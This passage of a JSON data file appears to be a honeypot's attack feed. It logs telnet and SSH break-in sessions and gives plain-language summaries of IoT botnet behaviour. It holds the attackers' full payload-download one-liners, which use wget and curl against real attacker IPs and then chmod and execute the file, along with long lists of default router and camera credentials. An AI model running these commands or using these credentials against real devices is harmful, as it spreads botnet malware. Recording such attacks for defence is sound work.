/dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x48\\x55\\x47\\x4b\\x4b\\x45'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://95.155.243.196:55793/i ||curl -O http://95.155.243.196:55793/i ||/bin/busybox wget http://95.155.243.196:55793/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x4a\\x41\\x45\\x41\\x4a\\x4e\\x42\\x42'","config terminal","enable","linuxshell","sh","shell","start","su","system"],"command_n":[2,2,2,2,2,2,2,2,2,2,2],"commands_total":1035,"distinct_commands":11,"narrative":["Asked for a shell 8 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back 3 times ('HUGKKE', 'JAEAJNBB') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Checked which download tools busybox has.","Tried to download a payload from 95.155.243[.]196 using wget and curl, falling back from one to the next. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself, deleting files it had created."],"tags":["shell-hunt","marker-echo","writable-hunt","loader-prep","payload-fetch","busybox","cleanup"],"replay":null,"key":"464af528c3a2","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"2fcae12370e5","t":"2026-10-22T02:59:13Z","first_t":"2026-10-21T03:12:48Z","repeats":1199,"merged":true,"ip":"178.141.242.241","cc":"RU","proto":"telnet","duration_s":null,"attempts":[{"u":"root","p":"jvbzd","ok":true},{"u":"telnet","p":"telnet","ok":false},{"u":"Administrator","p":"admin","ok":false},{"u":"admin","p":"12345","ok":false},{"u":"admin","p":"cat1029","ok":false},{"u":"admin","p":"v2mprt","ok":false},{"u":"e8ehome","p":"e8ehome","ok":false},{"u":"root","p":"2011vesta","ok":false},{"u":"root","p":"Pon521","ok":false},{"u":"root","p":"root","ok":false},{"u":"supervisor","p":"supervisor","ok":false},{"u":"telnetadmin","p":"telnetadmin","ok":false},{"u":"ubnt","p":"ubnt","ok":false},{"u":"666666","p":"666666","ok":false},{"u":"888888","p":"888888","ok":false},{"u":"CMCCAdmin","p":"CMCCAdmin","ok":false},{"u":"admin","p":"1111","ok":false},{"u":"admin","p":"123456","ok":false},{"u":"admin","p":"chzhdpl","ok":false},{"u":"admin","p":"conexant","ok":false},{"u":"admin","p":"pass","ok":false},{"u":"admin1","p":"password","ok":false},{"u":"default","p":"default","ok":false},{"u":"guest","p":"12345","ok":true},{"u":"keomeo","p":"keomeo","ok":false},{"u":"root","p":"54321","ok":false},{"u":"root","p":"666666","ok":false},{"u":"root","p":"e2008jl","ok":false},{"u":"root","p":"hg2x0","ok":false},{"u":"root","p":"klv1234","ok":false},{"u":"root","p":"realtek","ok":false},{"u":"root","p":"system","ok":false},{"u":"root","p":"xc3511","ok":false},{"u":"root","p":"zte","ok":false},{"u":"super","p":"xJ4pCYeW","ok":false}],"attempt_n":[3,3,2,2,2,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":1199,"distinct_creds":99,"distinct_users":27,"distinct_passwords":77,"got_shell":true,"shell_sessions":45,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x48\\x4c\\x56\\x55\\x41\\x41'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x48\\x4c\\x56\\x55\\x41\\x41'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://174.105.154.212:55690/i ||curl -O http://174.105.154.212:55690/i ||/bin/busybox wget http://174.105.154.212:55690/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x4f\\x44\\x55\\x5a\\x59\\x4f\\x58\\x49'","config terminal","enable","linuxshell","sh","start","su","system","shell"],"command_n":[4,4,4,4,4,4,4,4,4,4,3],"commands_total":480,"distinct_commands":11,"narrative":["Asked for a shell 8 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back 3 times ('HLVUAA', 'ODUZYOXI') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Checked which download tools busybox has.","Tried to download a payload from 174.105.154[.]212 using wget and curl, falling back from one to the next. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself, deleting files it had created."],"tags":["shell-hunt","marker-echo","writable-hunt","loader-prep","payload-fetch","busybox","cleanup"],"replay":null,"key":"7f4fc17f5e1d","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"9928c88eae30","t":"2026-10-22T02:58:27Z","first_t":"2026-10-21T20:35:28Z","repeats":488,"merged":true,"ip":"94.243.14.193","cc":"RU","proto":"telnet","duration_s":null,"attempts":[{"u":"admin","p":"888888","ok":false},{"u":"ubnt","p":"ubnt","ok":false},{"u":"admin","p":"12345","ok":false},{"u":"admin","p":"chzhdpl","ok":false},{"u":"root","p":"e2008jl","ok":false},{"u":"root","p":"klv123","ok":false},{"u":"root","p":"root","ok":true},{"u":"super","p":"PhrQjGzk","ok":false},{"u":"!!Huawei","p":"@HuaweiHgw","ok":false},{"u":"666666","p":"666666","ok":false},{"u":"888888","p":"888888","ok":false},{"u":"Administrator","p":"admin","ok":false},{"u":"CMCCAdmin","p":"CMCCAdmin","ok":false},{"u":"admin","p":"1234","ok":false},{"u":"admin","p":"conexant","ok":false},{"u":"admin","p":"meinsm","ok":false},{"u":"admin1","p":"password","ok":false},{"u":"e8ehome1","p":"e8ehome1","ok":false},{"u":"keomeo","p":"keomeo","ok":false},{"u":"mother","p":"fucker","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"123456","ok":false},{"u":"root","p":"2011vesta","ok":false},{"u":"root","p":"25802580","ok":false},{"u":"root","p":"666666","ok":false},{"u":"root","p":"7ujMko0admin","ok":false},{"u":"root","p":"888888","ok":true},{"u":"root","p":"Fireitup","ok":false},{"u":"root","p":"Zte521","ok":false},{"u":"root","p":"default","ok":false},{"u":"root","p":"dreambox","ok":false},{"u":"root","p":"klv1234","ok":false},{"u":"root","p":"pass","ok":false},{"u":"root","p":"password","ok":false},{"u":"root","p":"realtek","ok":false},{"u":"root","p":"xmhdipc","ok":false},{"u":"support","p":"support","ok":false},{"u":"user","p":"user","ok":false}],"attempt_n":[4,4,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":488,"distinct_creds":98,"distinct_users":27,"distinct_passwords":76,"got_shell":true,"shell_sessions":23,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x50\\x56\\x4d\\x58\\x55\\x48'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x50\\x56\\x4d\\x58\\x55\\x48'","config terminal","enable","linuxshell","sh","shell","start","su","system",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://91.240.165.44:48222/i ||curl -O http://91.240.165.44:48222/i ||/bin/busybox wget http://91.240.165.44:48222/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x47\\x57\\x49\\x45\\x46\\x58\\x52\\x4f'"],"command_n":[3,3,3,3,3,3,3,3,3,3,2],"commands_total":214,"distinct_commands":11,"narrative":["Asked for a shell 8 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back 3 times ('PVMXUH', 'GWIEFXRO') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Checked which download tools busybox has.","Tried to download a payload from 91.240.165[.]44 using wget and curl, falling back from one to the next. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself, deleting files it had created."],"tags":["shell-hunt","marker-echo","writable-hunt","loader-prep","payload-fetch","busybox","cleanup"],"replay":null,"key":"0d4243b9d0d8","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"23fa62a70ac0","t":"2026-10-22T02:58:06Z","first_t":"2026-10-21T03:06:54Z","repeats":2853,"merged":true,"ip":"103.152.101.118","cc":"PK","proto":"telnet","duration_s":null,"attempts":[{"u":"admin","p":"54321","ok":false},{"u":"admin","p":"h@32LuyD","ok":false},{"u":"root","p":"default","ok":false},{"u":"default","p":"default","ok":false},{"u":"e8ehome","p":"e8ehome","ok":false},{"u":"mother","p":"fucker","ok":false},{"u":"root","p":"54321","ok":false},{"u":"root","p":"root","ok":true},{"u":"root","p":"user","ok":false},{"u":"!!Huawei","p":"@HuaweiHgw","ok":false},{"u":"admin","p":"1234","ok":false},{"u":"admin","p":"7ujMko0admin","ok":false},{"u":"admin","p":"GeNeXiS@19","ok":false},{"u":"admin","p":"adminHW","ok":false},{"u":"admin","p":"cat1029","ok":false},{"u":"admin","p":"v2mprt","ok":false},{"u":"admin1","p":"password","ok":false},{"u":"administrator","p":"1234","ok":false},{"u":"e8ehome1","p":"e8ehome1","ok":false},{"u":"rapport","p":"r@p8p0r+","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"1234","ok":false},{"u":"root","p":"123456","ok":false},{"u":"root","p":"666666","ok":false},{"u":"root","p":"7ujMko0admin","ok":false},{"u":"root","p":"888888","ok":true},{"u":"root","p":"Fireitup","ok":false},{"u":"root","p":"GM8182","ok":false},{"u":"root","p":"adminpass","ok":false},{"u":"root","p":"e2008jl","ok":false},{"u":"root","p":"gpon","ok":false},{"u":"root","p":"hg2x0","ok":false},{"u":"root","p":"ikwb","ok":false},{"u":"root","p":"jvbzd","ok":true},{"u":"root","p":"vizxv","ok":false},{"u":"service","p":"service","ok":false},{"u":"super","p":"PhrQjGzk","ok":false},{"u":"telnet","p":"telnet","ok":false}],"attempt_n":[3,3,3,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":2853,"distinct_creds":99,"distinct_users":27,"distinct_passwords":77,"got_shell":true,"shell_sessions":101,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x57\\x4d\\x55\\x4b\\x51\\x59'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x57\\x4d\\x55\\x4b\\x51\\x59'","config terminal","enable","linuxshell","sh","shell","start","su","system",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://83.68.248.254:34464/i ||curl -O http://83.68.248.254:34464/i ||/bin/busybox wget http://83.68.248.254:34464/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x43\\x58\\x51\\x50\\x42\\x47\\x50\\x58'"],"command_n":[4,4,4,4,4,4,4,4,4,4,3],"commands_total":1048,"distinct_commands":11,"narrative":["Asked for a shell 8 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back 3 times ('WMUKQY', 'CXQPBGPX') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Checked which download tools busybox has.","Tried to download a payload from 83.68.248[.]254 using wget and curl, falling back from one to the next. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself, deleting files it had created."],"tags":["shell-hunt","marker-echo","writable-hunt","loader-prep","payload-fetch","busybox","cleanup"],"replay":null,"key":"57090b4999fb","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"ba527a70b7dd","t":"2026-10-22T02:55:43Z","first_t":"2026-10-22T02:55:43Z","repeats":1,"ip":"45.229.91.2","cc":"BR","proto":"ssh","duration_s":21.8,"attempts":[{"u":"defaultcreds","p":"2023defaultcreds2023","ok":false}],"got_shell":false,"commands":[],"commands_total":0,"narrative":[],"tags":[],"replay":null,"key":"f2392d9ca196","attack":{"type":"password-guessing","name":"Password guessing","badges":[]}},{"id":"13e1fc6a56f0","t":"2026-10-22T02:55:41Z","first_t":"2026-10-22T02:55:41Z","repeats":1,"ip":"45.229.91.2","cc":"BR","proto":"ssh","duration_s":14.7,"attempts":[{"u":"ubuntu","p":"2023defaultcreds2023","ok":false}],"got_shell":false,"commands":[],"commands_total":0,"narrative":[],"tags":[],"replay":null,"key":"e740630cb721","attack":{"type":"password-guessing","name":"Password guessing","badges":[]}},{"id":"8ae301be5b6f","t":"2026-10-22T02:55:41Z","first_t":"2026-10-22T02:55:41Z","repeats":1,"ip":"45.229.91.2","cc":"BR","proto":"ssh","duration_s":18.4,"attempts":[{"u":"root","p":"2023defaultcreds2023","ok":false}],"got_shell":false,"commands":[],"commands_total":0,"narrative":[],"tags":[],"replay":null,"key":"e8727fb9f0d8","attack":{"type":"password-guessing","name":"Password guessing","badges":[]}}],"meta":{"listed":40,"with_replay":15,"sessions":391461,"candidates":4900,"merged":34}}